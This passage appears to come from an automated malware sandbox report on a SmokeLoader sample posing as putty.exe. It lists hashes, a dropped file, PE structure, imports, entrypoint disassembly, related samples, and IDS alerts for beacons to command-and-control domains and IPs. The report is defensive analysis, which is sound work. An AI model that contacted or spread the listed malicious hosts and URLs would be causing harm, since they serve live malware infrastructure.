	Yofmdizwhylbef.exe	Get hash	malicious	DBatLoader, FormBook	Browse	www.xn--d1acnfnmta.xn--p1ai/pn4e/?gc=raMz3&l2-nV=Axqd9uYmYp7orgQRubN12KIz0ETn9asgfk1mJK/Z6DbIFwnZ/4JiG197Yvj4xywBazNpNhV4fsXABdsflsvFVf+OSeCGS2bZ+rXq8mGhIxid
	Nbvkrvfanxfmla.exe	Get hash	malicious	DBatLoader, FormBook	Browse	www.xn--d1acnfnmta.xn--p1ai/pn4e/?KfTD=Axqd9uYmYp7orgQRubN12KIz0ETn9asgfk1mJK/Z6DbIFwnZ/4JiG197Yvj4xywBazNpNhV4fsXABdsflsvXc8+TStbsRm/06Q==&pd=8k02Xq71ReL2NgiL
	FATURA_DE_PAGAMENTO.exe	Get hash	malicious	FormBook	Browse	www.barbershoploft.ru/de12/?WL08l6oh=z2MmLdpGYTzXqHttvHkhuP8LzrYrvN86bq5ZbTeVah9RZm+7kleL13c93Bfr74AMZ8sc&8pXDi=4hc4dRq

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
constractionscity1991.lat	#U041f#U043b#U0430#U0442i#U0436#U043d#U0430 i#U043d#U0441#U0442#U0440#U0443#U043a#U0446i#U044f.vbs	Get hash	malicious	SmokeLoader	Browse	94.156.177.51
	#U0421#U043a#U0430#U043d-#U043a#U043e#U043fi#U044f #U041f#U0430#U0441#U043f#U043e#U0440#U0442.vbs	Get hash	malicious	SmokeLoader	Browse	94.156.177.51
	#U041f#U043b#U0430#U0442i#U0436#U043d#U0430 i#U043d#U0441#U0442#U0440#U0443#U043a#U0446i#U044f.js	Get hash	malicious	SmokeLoader	Browse	94.156.177.51
	#U0421#U043a#U0430#U043d-#U043a#U043e#U043fi#U044f #U041f#U0430#U0441#U043f#U043e#U0440#U0442.vbs	Get hash	malicious	SmokeLoader	Browse	94.156.177.51
	#U0421#U043a#U0430#U043d-#U043a#U043e#U043fi#U044f #U0414#U043e#U0433#U043e#U0432i#U0440.js	Get hash	malicious	SmokeLoader	Browse	94.156.177.51
restructurisationservice.ru	#U041f#U043b#U0430#U0442i#U0436#U043d#U0430 i#U043d#U0441#U0442#U0440#U0443#U043a#U0446i#U044f.vbs	Get hash	malicious	SmokeLoader	Browse	94.156.177.51
	#U0421#U043a#U0430#U043d-#U043a#U043e#U043fi#U044f #U041f#U0430#U0441#U043f#U043e#U0440#U0442.vbs	Get hash	malicious	SmokeLoader	Browse	94.156.177.51
	#U041f#U043b#U0430#U0442i#U0436#U043d#U0430 i#U043d#U0441#U0442#U0440#U0443#U043a#U0446i#U044f.js	Get hash	malicious	SmokeLoader	Browse	94.156.177.51
	#U0421#U043a#U0430#U043d-#U043a#U043e#U043fi#U044f #U041f#U0430#U0441#U043f#U043e#U0440#U0442.vbs	Get hash	malicious	SmokeLoader	Browse	94.156.177.51
	#U0421#U043a#U0430#U043d-#U043a#U043e#U043fi#U044f #U0414#U043e#U0433#U043e#U0432i#U0440.js	Get hash	malicious	SmokeLoader	Browse	94.156.177.51
connecticutproperty.ru	#U041f#U043b#U0430#U0442i#U0436#U043d#U0430 i#U043d#U0441#U0442#U0440#U0443#U043a#U0446i#U044f.vbs	Get hash	malicious	SmokeLoader	Browse	109.70.26.37
	#U0421#U043a#U0430#U043d-#U043a#U043e#U043fi#U044f #U041f#U0430#U0441#U043f#U043e#U0440#U0442.vbs	Get hash	malicious	SmokeLoader	Browse	194.85.61.76
	#U041f#U043b#U0430#U0442i#U0436#U043d#U0430 i#U043d#U0441#U0442#U0440#U0443#U043a#U0446i#U044f.js	Get hash	malicious	SmokeLoader	Browse	109.70.26.37
	#U0421#U043a#U0430#U043d-#U043a#U043e#U043fi#U044f #U041f#U0430#U0441#U043f#U043e#U0440#U0442.vbs	Get hash	malicious	SmokeLoader	Browse	109.70.26.37
	#U0421#U043a#U0430#U043d-#U043a#U043e#U043fi#U044f #U0414#U043e#U0433#U043e#U0432i#U0440.js	Get hash	malicious	SmokeLoader	Browse	109.70.26.37

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
RU-CENTERRU	#U041f#U043b#U0430#U0442i#U0436#U043d#U0430 i#U043d#U0441#U0442#U0440#U0443#U043a#U0446i#U044f.vbs	Get hash	malicious	SmokeLoader	Browse	109.70.26.37
	#U0421#U043a#U0430#U043d-#U043a#U043e#U043fi#U044f #U041f#U0430#U0441#U043f#U043e#U0440#U0442.vbs	Get hash	malicious	SmokeLoader	Browse	194.85.61.76
	#U041f#U043b#U0430#U0442i#U0436#U043d#U0430 i#U043d#U0441#U0442#U0440#U0443#U043a#U0446i#U044f.js	Get hash	malicious	SmokeLoader	Browse	109.70.26.37
	#U0421#U043a#U0430#U043d-#U043a#U043e#U043fi#U044f #U041f#U0430#U0441#U043f#U043e#U0440#U0442.vbs	Get hash	malicious	SmokeLoader	Browse	109.70.26.37
	#U0421#U043a#U0430#U043d-#U043a#U043e#U043fi#U044f #U0414#U043e#U0433#U043e#U0432i#U0440.js	Get hash	malicious	SmokeLoader	Browse	109.70.26.37
	TRC.m68k.elf	Get hash	malicious	Mirai	Browse	193.232.244.238
	W3MzrFzSF0.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	109.70.26.37
	Quotation sheet.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	194.85.61.76
	PO #2411071822.exe	Get hash	malicious	FormBook	Browse	194.85.61.76
	Quotation.exe	Get hash	malicious	FormBook	Browse	194.85.61.76
NET1-ASBG	#U041f#U043b#U0430#U0442i#U0436#U043d#U0430 i#U043d#U0441#U0442#U0440#U0443#U043a#U0446i#U044f.vbs	Get hash	malicious	SmokeLoader	Browse	94.156.177.51
	#U0421#U043a#U0430#U043d-#U043a#U043e#U043fi#U044f #U041f#U0430#U0441#U043f#U043e#U0440#U0442.vbs	Get hash	malicious	SmokeLoader	Browse	94.156.177.51
	#U041f#U043b#U0430#U0442i#U0436#U043d#U0430 i#U043d#U0441#U0442#U0440#U0443#U043a#U0446i#U044f.js	Get hash	malicious	SmokeLoader	Browse	94.156.177.51
	#U0421#U043a#U0430#U043d-#U043a#U043e#U043fi#U044f #U041f#U0430#U0441#U043f#U043e#U0440#U0442.vbs	Get hash	malicious	SmokeLoader	Browse	94.156.177.51
	#U0421#U043a#U0430#U043d-#U043a#U043e#U043fi#U044f #U0414#U043e#U0433#U043e#U0432i#U0440.js	Get hash	malicious	SmokeLoader	Browse	94.156.177.51
	a-r.m-5.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse	93.123.85.8
	s-h.4-.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse	93.123.85.8
	x-3.2-.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse	93.123.85.8
	a-r.m-7.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse	93.123.85.8
	i-5.8-6.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse	93.123.85.8

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

C:\Users\user\AppData\Roaming\hajefwb

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	245760
Entropy (8bit):	5.638844672935597
Encrypted:	false
SSDEEP:	3072:VC2pwqpX3QufagAKaKkWvqMFh1KjP40ZZ6s5dM6Y273v9blsf:I4wqpX3qgAKaIvqRjBZVM/y
MD5:	3BBAC642557B0AB934ADDBAC0594561C
SHA1:	0787A06F1FFF51BDFDB129186DF44E73D8C7D5DE
SHA-256:	BC887FCD6805824AC58A107917C6D083056D688EEF39E979DA25D16EB388E798
SHA-512:	C91CBC77B3A67F65082F5D8187F237B9DE0A6AAF1CBFB7BBD0E3157D2B8815F55A6ED71D6BDA88941DAED67AD6F0EE9A9E98149F11B053F81A462E17F7145730
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........B.AK#..K#..K#...lK.J#..UqY.U#..UqH._#..Uq^.%#..l..N#..K#..>#..UqW.J#..UqI.J#..UqL.J#..RichK#..................PE..L...F.&f.....................>?.............. ....@..........................PA.....:e.......................................8..<....0@.............................................................................. ...............................text............................... ..`.rdata..*"... ...$..................@..@.data...<.=..P...p...6..............@....rsrc........0@.....................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\hajefwb:Zone.Identifier

Download File

Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	5.638844672935597
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	putty.exe
File size:	245'760 bytes
MD5:	3bbac642557b0ab934addbac0594561c
SHA1:	0787a06f1fff51bdfdb129186df44e73d8c7d5de
SHA256:	bc887fcd6805824ac58a107917c6d083056d688eef39e979da25d16eb388e798
SHA512:	c91cbc77b3a67f65082f5d8187f237b9de0a6aaf1cbfb7bbd0e3157d2b8815f55a6ed71d6bda88941daed67ad6f0ee9a9e98149f11b053f81a462e17f7145730
SSDEEP:	3072:VC2pwqpX3QufagAKaKkWvqMFh1KjP40ZZ6s5dM6Y273v9blsf:I4wqpX3qgAKaIvqRjBZVM/y
TLSH:	08347C1336F1E067E7B78A3079FCD6B02A3BB87B9B74814E1224279F19712908A5D753
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........B.AK#..K#..K#...lK.J#..UqY.U#..UqH._#..Uq^.%#..l...N#..K#..>#..UqW.J#..UqI.J#..UqL.J#..RichK#..................PE..L...F.&f...

File Icon


Icon Hash:	151a131010911409

Static PE Info

General

Entrypoint:	0x401a92
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x6626F246 [Mon Apr 22 23:27:02 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	d4d3ffca50bc999994f856732f42114f

Entrypoint Preview

Instruction
call 00007FEB2CDA73F9h
jmp 00007FEB2CDA371Dh
mov edi, edi
push ebp
mov ebp, esp
sub esp, 00000328h
mov dword ptr [00427C38h], eax
mov dword ptr [00427C34h], ecx
mov dword ptr [00427C30h], edx
mov dword ptr [00427C2Ch], ebx
mov dword ptr [00427C28h], esi
mov dword ptr [00427C24h], edi
mov word ptr [00427C50h], ss
mov word ptr [00427C44h], cs
mov word ptr [00427C20h], ds
mov word ptr [00427C1Ch], es
mov word ptr [00427C18h], fs
mov word ptr [00427C14h], gs
pushfd
pop dword ptr [00427C48h]
mov eax, dword ptr [ebp+00h]
mov dword ptr [00427C3Ch], eax
mov eax, dword ptr [ebp+04h]
mov dword ptr [00427C40h], eax
lea eax, dword ptr [ebp+08h]
mov dword ptr [00427C4Ch], eax
mov eax, dword ptr [ebp-00000320h]
mov dword ptr [00427B88h], 00010001h
mov eax, dword ptr [00427C40h]
mov dword ptr [00427B3Ch], eax
mov dword ptr [00427B30h], C0000409h
mov dword ptr [00427B34h], 00000001h
mov eax, dword ptr [00425004h]
mov dword ptr [ebp-00000328h], eax
mov eax, dword ptr [00425008h]
mov dword ptr [ebp-00000324h], eax
call dword ptr [000000C8h]

Rich Headers

Programming Language:

[C++] VS2008 build 21022
[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x238fc	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x403000	0x119b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x22000	0x198	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x20dbc	0x20e00	5c541c616f9b306ff42b3e4f234151f9	False	0.6227423954372624	data	6.440374416875712	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x22000	0x222a	0x2400	7532422a3849ad26f5d656584a69be00	False	0.3527560763888889	data	5.379872759729207	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x25000	0x3dd13c	0x7000	c5455776ba3d819123800dd3a4929859	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x403000	0x119b0	0x11a00	2db4edf44b4628cb44c7dd6130a95d88	False	0.44549257535460995	data	4.756112777224745	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x4035e0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Turkmen	Turkmenistan	0.511727078891258
RT_ICON	0x404488	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Turkmen	Turkmenistan	0.5631768953068592
RT_ICON	0x404d30	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Turkmen	Turkmenistan	0.6002304147465438
RT_ICON	0x4053f8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Turkmen	Turkmenistan	0.630057803468208
RT_ICON	0x405960	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	Turkmen	Turkmenistan	0.4050829875518672
RT_ICON	0x407f08	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	Turkmen	Turkmenistan	0.4732645403377111
RT_ICON	0x408fb0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	Turkmen	Turkmenistan	0.4692622950819672
RT_ICON	0x409938	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	Turkmen	Turkmenistan	0.5709219858156028
RT_ICON	0x409e18	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Turkmen	Turkmenistan	0.3443496801705757
RT_ICON	0x40acc0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Turkmen	Turkmenistan	0.46796028880866425
RT_ICON	0x40b568	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Turkmen	Turkmenistan	0.5028801843317973
RT_ICON	0x40bc30	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Turkmen	Turkmenistan	0.5245664739884393
RT_ICON	0x40c198	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Turkmen	Turkmenistan	0.4254149377593361
RT_ICON	0x40e740	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Turkmen	Turkmenistan	0.4329268292682927
RT_ICON	0x40f7e8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Turkmen	Turkmenistan	0.4364754098360656
RT_ICON	0x410170	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Turkmen	Turkmenistan	0.4512411347517731
RT_STRING	0x410808	0x4ee	data			0.43898573692551507
RT_STRING	0x410cf8	0xee	data			0.5546218487394958
RT_STRING	0x410de8	0x6d6	data			0.42857142857142855
RT_STRING	0x4114c0	0x748	data			0.4248927038626609
RT_STRING	0x411c08	0x830	data			0.4193702290076336
RT_STRING	0x412438	0x712	data			0.4298342541436464
RT_STRING	0x412b50	0x78a	data			0.4202072538860104
RT_STRING	0x4132e0	0x754	data			0.4211087420042644
RT_STRING	0x413a38	0x914	data			0.41179001721170394
RT_STRING	0x414350	0x65e	data			0.4306748466257669
RT_GROUP_ICON	0x4105d8	0x76	data	Turkmen	Turkmenistan	0.6694915254237288
RT_GROUP_ICON	0x409da0	0x76	data	Turkmen	Turkmenistan	0.6610169491525424
RT_VERSION	0x410650	0x1b4	data			0.5688073394495413

Imports

DLL

Import

KERNEL32.dll

GetComputerNameA, SetDefaultCommConfigA, SetLocaleInfoA, SetErrorMode, WriteConsoleOutputW, DeleteVolumeMountPointA, InterlockedIncrement, InterlockedDecrement, ReadConsoleOutputAttribute, GetEnvironmentStringsW, GetTimeFormatA, GetModuleHandleW, GetDateFormatA, GetCommandLineA, SetProcessPriorityBoost, LoadLibraryW, GetConsoleAliasW, DisconnectNamedPipe, GetStartupInfoA, SetLastError, GetProcAddress, SearchPathA, SetFileAttributesA, GetNumaHighestNodeNumber, ResetEvent, GetAtomNameA, LoadLibraryA, LocalAlloc, GetFileType, AddAtomW, AddAtomA, FoldStringA, GetModuleHandleA, OpenFileMappingW, BuildCommDCBA, GetShortPathNameW, Module32Next, EndUpdateResourceA, GetVersionExA, FindFirstVolumeW, UnregisterWaitEx, GetLastError, HeapFree, HeapAlloc, MultiByteToWideChar, HeapReAlloc, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, HeapCreate, VirtualFree, DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, VirtualAlloc, Sleep, ExitProcess, WriteFile, GetStdHandle, GetModuleFileNameA, SetHandleCount, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, GetCurrentThreadId, HeapSize, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, FreeEnvironmentStringsA, GetEnvironmentStrings, FreeEnvironmentStringsW, WideCharToMultiByte, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, InitializeCriticalSectionAndSpinCount, RtlUnwind, ReadFile, LCMapStringA, LCMapStringW, GetStringTypeA, GetStringTypeW, GetLocaleInfoA, GetConsoleCP, GetConsoleMode, FlushFileBuffers, SetFilePointer, SetStdHandle, CloseHandle, WriteConsoleA, GetConsoleOutputCP, WriteConsoleW, CreateFileA

USER32.dll

GetProcessDefaultLayout

Possible Origin

Language of compilation system	Country where language is spoken	Map
Turkmen	Turkmenistan

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-19T10:58:12.359414+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49735	94.156.177.51	80	TCP
2024-12-19T10:58:14.531297+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49741	94.156.177.51	80	TCP
2024-12-19T10:58:14.531297+0100	2851815	ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18	1	192.168.2.5	49741	94.156.177.51	80	TCP
2024-12-19T10:58:16.781269+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49747	194.85.61.76	80	TCP
2024-12-19T10:59:22.905776+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49897	94.156.177.51	80	TCP
2024-12-19T10:59:24.608903+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49902	94.156.177.51	80	TCP
2024-12-19T10:59:24.608903+0100	2851815	ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18	1	192.168.2.5	49902	94.156.177.51	80	TCP
2024-12-19T10:59:26.108877+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49908	194.85.61.76	80	TCP
2024-12-19T10:59:27.827648+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49914	94.156.177.51	80	TCP
2024-12-19T10:59:29.405803+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49915	94.156.177.51	80	TCP
2024-12-19T10:59:30.843229+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49920	194.85.61.76	80	TCP
2024-12-19T10:59:30.843229+0100	2851815	ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18	1	192.168.2.5	49920	194.85.61.76	80	TCP
2024-12-19T10:59:32.436950+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49926	94.156.177.51	80	TCP
2024-12-19T10:59:33.936950+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49928	94.156.177.51	80	TCP
2024-12-19T10:59:33.936950+0100	2851815	ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18	1	192.168.2.5	49928	94.156.177.51	80	TCP
2024-12-19T10:59:35.406095+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49933	194.85.61.76	80	TCP
2024-12-19T10:59:35.406095+0100	2851815	ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18	1	192.168.2.5	49933	194.85.61.76	80	TCP
2024-12-19T10:59:37.327557+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49939	94.156.177.51	80	TCP
2024-12-19T10:59:38.769169+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49942	94.156.177.51	80	TCP
2024-12-19T10:59:38.769169+0100	2851815	ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18	1	192.168.2.5	49942	94.156.177.51	80	TCP
2024-12-19T10:59:40.327545+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49947	194.85.61.76	80	TCP
2024-12-19T10:59:40.327545+0100	2851815	ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18	1	192.168.2.5	49947	194.85.61.76	80	TCP
2024-12-19T10:59:42.608756+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49953	94.156.177.51	80	TCP
2024-12-19T10:59:44.093134+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49958	94.156.177.51	80	TCP
2024-12-19T10:59:45.593136+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49964	194.85.61.76	80	TCP
2024-12-19T10:59:48.139987+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49970	94.156.177.51	80	TCP
2024-12-19T10:59:49.530677+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49973	94.156.177.51	80	TCP
2024-12-19T10:59:50.905589+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49977	194.85.61.76	80	TCP
2024-12-19T10:59:56.702432+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49993	94.156.177.51	80	TCP
2024-12-19T10:59:58.202555+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49995	94.156.177.51	80	TCP
2024-12-19T10:59:58.202555+0100	2851815	ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18	1	192.168.2.5	49995	94.156.177.51	80	TCP
2024-12-19T10:59:59.640179+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	50000	194.85.61.76	80	TCP
2024-12-19T10:59:59.640179+0100	2851815	ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18	1	192.168.2.5	50000	194.85.61.76	80	TCP
2024-12-19T11:00:06.342983+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	50001	94.156.177.51	80	TCP
2024-12-19T11:00:07.905516+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	50002	94.156.177.51	80	TCP
2024-12-19T11:00:09.405517+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	50003	194.85.61.76	80	TCP
2024-12-19T11:00:15.530466+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	50004	94.156.177.51	80	TCP
2024-12-19T11:00:15.530466+0100	2851815	ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18	1	192.168.2.5	50004	94.156.177.51	80	TCP
2024-12-19T11:00:17.108580+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	50005	94.156.177.51	80	TCP
2024-12-19T11:00:18.608576+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	50006	194.85.61.76	80	TCP
2024-12-19T11:00:23.702267+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	50007	94.156.177.51	80	TCP
2024-12-19T11:00:25.139893+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	50008	94.156.177.51	80	TCP
2024-12-19T11:00:25.139893+0100	2851815	ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18	1	192.168.2.5	50008	94.156.177.51	80	TCP
2024-12-19T11:00:26.639752+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	50009	194.85.61.76	80	TCP
2024-12-19T11:00:26.639752+0100	2851815	ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18	1	192.168.2.5	50009	194.85.61.76	80	TCP
2024-12-19T11:00:31.936600+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	50010	94.156.177.51	80	TCP
2024-12-19T11:00:33.608454+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	50011	94.156.177.51	80	TCP
2024-12-19T11:00:33.608454+0100	2851815	ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18	1	192.168.2.5	50011	94.156.177.51	80	TCP
2024-12-19T11:00:35.030325+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	50012	194.85.61.76	80	TCP
2024-12-19T11:00:40.639665+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	50013	94.156.177.51	80	TCP
2024-12-19T11:00:42.092793+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	50014	94.156.177.51	80	TCP
2024-12-19T11:00:43.608439+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	50015	194.85.61.76	80	TCP
2024-12-19T11:00:49.327252+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	50016	94.156.177.51	80	TCP
2024-12-19T11:00:50.795846+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	50017	94.156.177.51	80	TCP
2024-12-19T11:00:52.295850+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	50018	194.85.61.76	80	TCP
2024-12-19T11:00:58.217739+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	50019	94.156.177.51	80	TCP
2024-12-19T11:00:58.217739+0100	2851815	ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18	1	192.168.2.5	50019	94.156.177.51	80	TCP
2024-12-19T11:00:59.702081+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	50020	94.156.177.51	80	TCP
2024-12-19T11:01:01.311427+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	50021	194.85.61.76	80	TCP
2024-12-19T11:01:01.311427+0100	2851815	ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18	1	192.168.2.5	50021	194.85.61.76	80	TCP
2024-12-19T11:01:06.592651+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	50022	94.156.177.51	80	TCP
2024-12-19T11:01:06.592651+0100	2851815	ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18	1	192.168.2.5	50022	94.156.177.51	80	TCP
2024-12-19T11:01:08.139529+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	50023	94.156.177.51	80	TCP
